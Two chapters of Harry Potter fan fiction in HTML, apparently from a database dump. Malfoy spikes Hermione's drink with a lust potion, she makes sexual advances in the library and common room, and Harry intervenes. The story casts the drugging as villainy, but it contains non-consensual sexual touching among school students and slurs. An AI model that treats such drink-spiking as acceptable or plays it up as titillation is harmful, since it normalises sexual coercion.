Potions assignment.&nbsp; Snape was being merciless on them this year,\nand they already had a heavy workload.&nbsp;\nHermione reached out and found what she was looking for &#8211; her cup of hot\nchocolate.&nbsp; She always brought a cup\nwith her when she studied; it helped to relax her.&nbsp; Putting it back, she stood up and went to find the book &#8216;Mixtures\nof All Kinds&#8217;.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">While\nshe was gone, a person snuck up to her table.&nbsp;\nSince Hermione studied in a remote corner of the library, no one saw who\nit was.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;All\nright, Mudblood, let&#8217;s see how you like this,&#8217; and he poured a bright, red\nliquid into her hot chocolate.&nbsp; It\ndissolved instantly, and a moment later, the assailant was gone.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nreturned a moment later with her book and sat back down.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey\nHermione, sorry I&#8217;m late,&#8221; Harry called as he sat down across from her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Where&#8217;s\nRon?&nbsp; I thought he was coming too.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh&#8230;um&#8230;well&#8230;he\nhad a pressing engagement that required his full attention.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s\nsounds rehearsed, Potter,&#8221; she said with a raised eyebrow. &#8220;Spill it!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay&#8230;he&#8230;he\nhad a date with Lavender.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My\ngoodness, that is most pressing,&#8221; Hermione drawled.&nbsp; She started laughing, and Harry couldn&#8217;t help but join her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey,\nat least I showed up.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You\nmean, you don&#8217;t have date; it is Friday night.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No,\nno one asked me,&#8221; he answered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come\non, Harry, I know for a fact that at least a dozen girls ask you out every\nweek.&nbsp; What&#8217;s the problem?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;The\nproblem is that they ask out &#8216;Harry Potter&#8217; not me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What\nabout Cho&#8230;and Ginny?&#8221; Hermione found herself intrigued in this conversation; it\nwas interesting to see what kind of girl turned his head.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nhonestly thought that Cho liked me, but I find out later that she was just\ntrying to win a bet with her friends.&nbsp;\nWho would be the first to bag the great Harry Potter?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nsuddenly paled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You\nmean&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah,\nwho slept with me first?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s\nhorrible, Harry, you want me to turn her hair pink for you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No\nthanks, Mione, but I appreciate the offer.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What\nabout Ginny?&nbsp; You guys went out for almost\nall of sixth year!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ginny\nwas really sweet, but I think what happened was that she grew out of her\nattraction to me.&nbsp; I guess you could say\nshe had got over her crush on me.&nbsp; After\nthat, I just couldn&#8217;t bring myself to commit to anyone again; there was just\nsomething missing.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m\nsorry, Harry, I wish things were different.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nsmiled sadly at her best friend.&nbsp; He&#8217;d\nbecome a very handsome man over the years.&nbsp;\nHe was tall, with broad shoulders, a toned physique from quidditch\npractice, and of course, those magical, green eyes.&nbsp; No girl could resist his charms, but he was very selective about\nwho he was close with.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s\nokay, but what about you?&#8221; he countered and propped his chin up on his hand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Excuse\nme?&#8221; Hermione gasped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why\naren&#8217;t you out tonight, Mione?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh,\ncome off it, Harry, who&#8217;d want a bookworm like me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re\nnot a bookworm.&nbsp; You&#8217;re beautiful,\nsmart, funny, and devilishly charming.&nbsp;\nHow could someone not want you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nknew what he was saying.&nbsp; Hermione had\ngrown into a lovely, young woman.&nbsp; She&#8217;d\ngrown several inches and now came up to just under his nose.&nbsp; Her eyes were a beautiful, chocolate-brown,\nher lips were soft and red, and her hands were skilled yet delicate.&nbsp; To top it all off, her body had filled in\nall the right proportions.&nbsp; Harry knew\nthat she wore loose clothing by default, but he could tell the hidden assets\nthat she possessed.&nbsp; Someday, someone\nwould find out what a treasure she was.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;Why\ncan&#8217;t that someone be you?&#8217; a part of his mind screamed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nimmediately silenced his thoughts; he shouldn&#8217;t think that way about his best\nfriend.&nbsp; But lately, he just couldn&#8217;t\nhelp himself.&nbsp; Even when he was dating\nCho and Ginny, he would compare how they did something to the way Hermione did\nit.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;you\nin there&#8230;&#8221; Hermione said and waved her hand in front of his face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Huh&#8230;oh&#8230;sorry&#8230;I\nzoned out there for a minute.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s\nokay, I&#8217;ve got time to spare.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione&#8230;&#8221;\nHarry&#8217;s voice lowered slightly, &#8220;&#8230;I mean it, you&#8217;re gonna make someone a very\nlucky guy.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks,&#8221;\nshe said softly and blushed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">His\neyes were soft and warm, and Hermione felt her body heat rise.&nbsp; She took a long sip of her hot chocolate and\nwent back to her reading.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">During\nthe rest of the evening, she kept sneaking looks at Harry over the top of her\nbooks.&nbsp; She couldn&#8217;t seem to get him out\nof her head.&nbsp; Hermione finished her hot\nchocolate, and her body suddenly felt very strange.&nbsp; She closed her eyes to clear her head, but it didn&#8217;t help.&nbsp; She felt very hot, and her stomach felt very\nqueasy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione,\nyou okay?&#8221; Harry asked, seeing her rub her temples. &#8220;You look a little\nflushed.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m\nfine&#8230;I think.&#8221; She felt her chest tighten, and a shutter passed through her\nbody.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\ncame around the table and sat down next to her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mione?&#8221;\nhe asked softly and put his arm around her shoulders.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nturned towards him, and he nearly gulped at the look in her eyes.&nbsp; They were ablaze with a wild fire &#8211; full of\ndesire and what he could only decipher as lust.&nbsp; She looked ready to eat him alive!&nbsp; Her fingers danced up his chest and locked behind his neck.&nbsp; She batted her eyes at him and licked her\nlips.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;&#8221;\nshe purred seductively, and he nearly fainted. &#8220;C&#8217;mere lover!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nkissed him full on the lips, and Harry&#8217;s blood pressure went through the\nroof.&nbsp; Her mouth felt soft and pliant\nbeneath his, but she pressed harder against his.&nbsp; Her tongue poked eagerly at his lips, but he was too shocked to\ndo anything.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione&#8230;what&#8230;what&#8217;s\ngoing on?&nbsp; What are you doing?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nwas having a hard time thinking because her hands were now running up and down\nhis body.&nbsp; He almost died when she\nboldly slid her hand down below his waist and petted him gently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What\nhave we here?&#8221; she cooed and squeezed lightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uh&#8230;Hermione&#8230;stop&#8230;this&#8230;this\nisn&#8217;t right!&#8221; he tried to object.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t\nbe silly, no one can see us back here.&#8221; Her voice still held that sexy\nundertone, and he felt powerless under her spell.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nwant you, Harry.&#8221; The moment she undid his pants, his mind finally started\nworking again, and he immediately grabbed her wrists.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione!&#8221;\nhe nearly shouted, &#8220;What in bloody hell is going on here?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She\ngrabbed her head for a moment and closed her eyes.&nbsp; When she looked at him again, her eyes had returned to their\nnormal hue.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;what&#8230;what\nhappened?&nbsp; I&#8230;I don&#8217;t&#8230;&#8221; Her eyes bugged\nout as she saw him buckle his pants, and she gasped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh\nno&#8230;tell me I didn&#8217;t&#8230;I did&#8230;didn&#8217;t I&#8230;what&#8230;I don&#8217;t&#8230;&#8221; Hermione couldn&#8217;t think\nstraight; she just touched her best friend in a way that you never touch your\nbest friend.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione&#8230;what&#8217;s\ngoing on?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\ndon&#8217;t know.&nbsp; One minute I was looking at\nyou, and the next minute&#8230;I&#8217;m so sorry, Harry.&#8221; Hermione quickly gathered her\nthings.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wait\na minute!&#8221; he objected and got in her way. &#8220;Don&#8217;t runaway.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry,\nplease move; I need to get out of here.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not\nuntil we find out what&#8217;s wrong with you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Please&#8230;I\ncan&#8217;t&#8230;I feel so hot&#8230;I can&#8217;t stop it&#8230;I need to leave!&#8221; Hermione pushed him aside\nand ran out of the library.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione&#8230;&#8221;\nHarry sighed sadly.&nbsp; No, he couldn&#8217;t let\nit end like this; he would find out what was wrong with her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;well&#8230;well&#8230;having\na little girl trouble, Potter?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nturned to see Malfoy leaning against a bookcase snickering, but his smile was\ndifferent.&nbsp; It looked like a smile of\naccomplishment; then, it clicked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You!&#8221;\nHarry growled, &#8220;What did you do to Hermione?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now,\nwhy would I do something to the Mudblood?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Because\nyou hate her, and you hate me!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come\noff it, Potter, what&#8217;s your point?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You\nknow that I care about Hermione, and if you do something to her, you know that\nI suffer twice as much.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Quite\ntrue, but I must admit that it worked a lot faster than I thought.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nflew out of his seat and grabbed Malfoy by his robes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What\ndid you do?&#8221; Draco brushed his hands away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh,\nnothing much, I just spiked her hot chocolate with an Eros potion.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;An\nEros potion?&#8221; Malfoy sneered even more.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes,\nit is quite ingenious.&nbsp; You see, it\ntakes a person&#8217;s sex drive and multiplies it by a factor of ten!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You\nbastard!&#8221; Harry grabbed him by his collar, &#8220;Tell me the antidote right now!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;There\nisn&#8217;t one, Potter, and by the time the potion wears off&#8230;&#8221; he began to laugh\nhysterically.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;&#8230;your\nbest friend will be the premier tramp of the entire school!&nbsp; Of course, there is one thing that could\ncure her.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Which\nis?&#8221; Harry demanded.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;The\npotion can be nullified if the Mudblood sleeps with the person who gave it to\nher &#8211; namely me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You\npiece of filth!&nbsp; You&#8217;re not touching her\n&#8211; you hear me!&#8221; Harry roared.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh\nplease, I wouldn&#8217;t bother with the ugly bookworm anyway, but I&#8217;m sure there are\nplenty of guys who wouldn&#8217;t mind getting a piece of her ass.&nbsp; I hear she&#8217;s still a virgin!&#8221; Malfoy\nsnickered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">That\nwas the last straw.&nbsp; Harry drew back and\nwith every ounce of strength he had, plowed his fist right into Malfoy&#8217;s face.&nbsp; Draco&#8217;s head bounced off the bookcase, and\nHarry met him with another punch right between the eyes.&nbsp; The blonde haired, young man collapsed to\nthe ground unconscious, and Harry bolted out of the library.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He\nhad to find Hermione before the potion kicked in again, or she would hit on the\nfirst guy she saw.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(225, 2, '\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nraced up to Gryffindor Tower.&nbsp; He hoped\nthat Hermione&#8217;s mind was still intact enough to where she would keep up with\nher normal routine, which meant she was heading back to the Common Room after\nstudying.&nbsp; He was out of breath by the\ntime he reached the Fat Lady&#8217;s portrait.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Excuse\nme, but has Hermione come through here yet?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes,\nshe arrived a little while ago.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks\na lot, would you open up please?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Password\nplease?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh\nsorry, golden snitch!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank\nyou, Mr. Potter.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\nportrait swung open, and Harry raced inside.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;Please,\nlet me find her in time.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He\ncould hear several people whistling as he ran into the Common Room, and he\ngasped at seeing why.&nbsp; Hermione was\nsashaying around the room, going from one guy to the next.&nbsp; She would sit down on his lap then stroke\nhis chest with her fingers.&nbsp; The guys\nwere enjoying it immensely as they&#8217;d never seen this side of her before, but\nthe girls looked ready to burn her at the stake.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione!&#8221;\nhe shouted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Everyone\nturned to see Harry Potter staring directly at the source of their\nentertainment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey\nHarry, seems Hermione has a wild side to her,&#8221; Seamus laughed as she wiggled in\nhis lap.&nbsp; He pinched her rear end, and\nHarry went off.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Get\nyour hands off her!&#8221; he roared.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What\nfor?&nbsp; She wants this, don&#8217;t you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You\nknow it, lover,&#8221; Hermione cooed back at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s\nit!&nbsp; Accio Hermione!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She\nwas suddenly lurched off Seamus&#8217; lap and right into Harry&#8217;s arms.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey\nHarry, what in bloody hell doing you think you&#8217;re doing?&#8221; Seamus said angrily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Back\noff, right now!&#8221; Harry growled and raised his wand.&nbsp; It began to glow, and a fireball appeared at the end of it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay&#8230;okay&#8230;no\nneed to get violent,&#8221; Seamus replied nervously.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh\nHarry, you&#8217;re so assertive,&#8221; Hermione giggled and nuzzled his chest, &#8220;You\nwanted me all to yourself, huh?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m\nsorry about this, Hermione.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What\ndo you-&#8220;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Immobulus!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Her\nbody froze then dropped against him.&nbsp; He\ncradled her in his arms and looked around the room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Listen\nto me, all of you, Hermione&#8217;s been given a potion that makes her act very\nstrangely.&nbsp; If anyone ever mentions what\nhappened here tonight, they will answer to me, understood?&#8221; he said with a will\nof iron.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Whatever\nyou say.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nkinda like her this way,&#8221; Seamus laughed sarcastically.&nbsp; He suddenly found himself pressed against\nthe far wall.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What\ndid you say?&#8221; Harry said angrily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All\nright, I won&#8217;t say anything!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good,&#8221;\nand he was released.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nput away his wand and scooped Hermione up into his arms.&nbsp; He sighed in relief when he saw Ginny sit in\nthe back corner.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ginny,\nwould you come with me please?&#8221; Her eyebrows quirked up with curiosity.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure\nHarry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\ncarried Hermione upstairs to the girls&#8217; dormitory.&nbsp; Ginny was right behind him, and she began to understand why Harry\nhad asked for her.&nbsp; For one, she was one\nof Hermione&#8217;s roommates, and two, he trusted her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After\na few minutes, they reached the right door, and Ginny pushed it open for\nhim.&nbsp; Harry brought his charge inside\nand laid her down on her bed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So,\nwhat happened to her?&#8221; Ginny inquired.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione\nwas given an Eros Potion.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s\nthat?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It\nessentially kicks your hormones into overdrive, if you know what I mean?&#8221; Harry\nanswered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So\nthat&#8217;s why she was acting like that!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Exactly,\nshe even tried to seduce me in the library.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Did\nyou go for it?&#8221; she laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ginny,\nof course, I didn&#8217;t.&nbsp; I wouldn&#8217;t do that\nto Hermione; she&#8217;s my best friend.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure,\nshe is, but you still have to hots for her.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\ndo not!&#8221; Harry objected.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come\noff it, Harry, you&#8217;ve been in love with her for years &#8211; even when we were\ndating.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ginny&#8230;&#8221;\nhe said softly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\ncould tell, Harry, you were always holding a part of yourself back.&nbsp; The only person you ever shared everything\nwith was Hermione.&nbsp; That&#8217;s when I knew\nthat you were in love with her.&nbsp; You\ncare about me, but your heart belongs to her.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;When\ndid you become such a romantic?&#8221; Harry chuckled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Enough\nof that.&nbsp; Do you know how it happened?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes,\nMalfoy put it in her hot chocolate.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Malfoy!&nbsp; I don&#8217;t believe it!&nbsp; This is low &#8211; even for him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He\nknows how to hurt me, Ginny, and he picked the perfect target.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t\nworry, Harry, we&#8217;ll find an antidote.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;There\nisn&#8217;t one, according to Malfoy.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He\nmay be lying.&nbsp; Why don&#8217;t we go talk to\nMadam Pomfrey?&nbsp; I&#8217;m sure that she can\ncome up with something to help Hermione.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good\nidea, let&#8217;s go see her.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\ntucked Hermione into her bed and kissed her forehead.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t\nworry, Mione, you&#8217;ll be fine.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Standing\nup, Harry took out his wand again; he had a few things to do.&nbsp; First, he shut and locked all the windows\njust in case Hermione went to extreme measures to get out, but he hoped his\nspell would last for a while.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Petrificas\nTotales!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s\nbody seized and froze in its current position; that would keep her in stasis\nfor the time being.&nbsp; Harry followed\nGinny out into the hallway and shut the door.&nbsp;\nHe then pointed his wand at the lock.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Seal\nand do not open for anyone but Harry Potter!&#8221; he commanded.&nbsp; The lock glowed brightly for a moment then\nreceded to a faint blue hue.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Smart\nidea,&#8221; Ginny stated.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Part\nof me doesn&#8217;t trust the letches downstairs,&#8221; he groaned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Another\ngood idea.&nbsp; We better go before Hermione\nwakes up.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah,\nlet&#8217;s go,&#8221; and the pair headed off to the medical wing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p 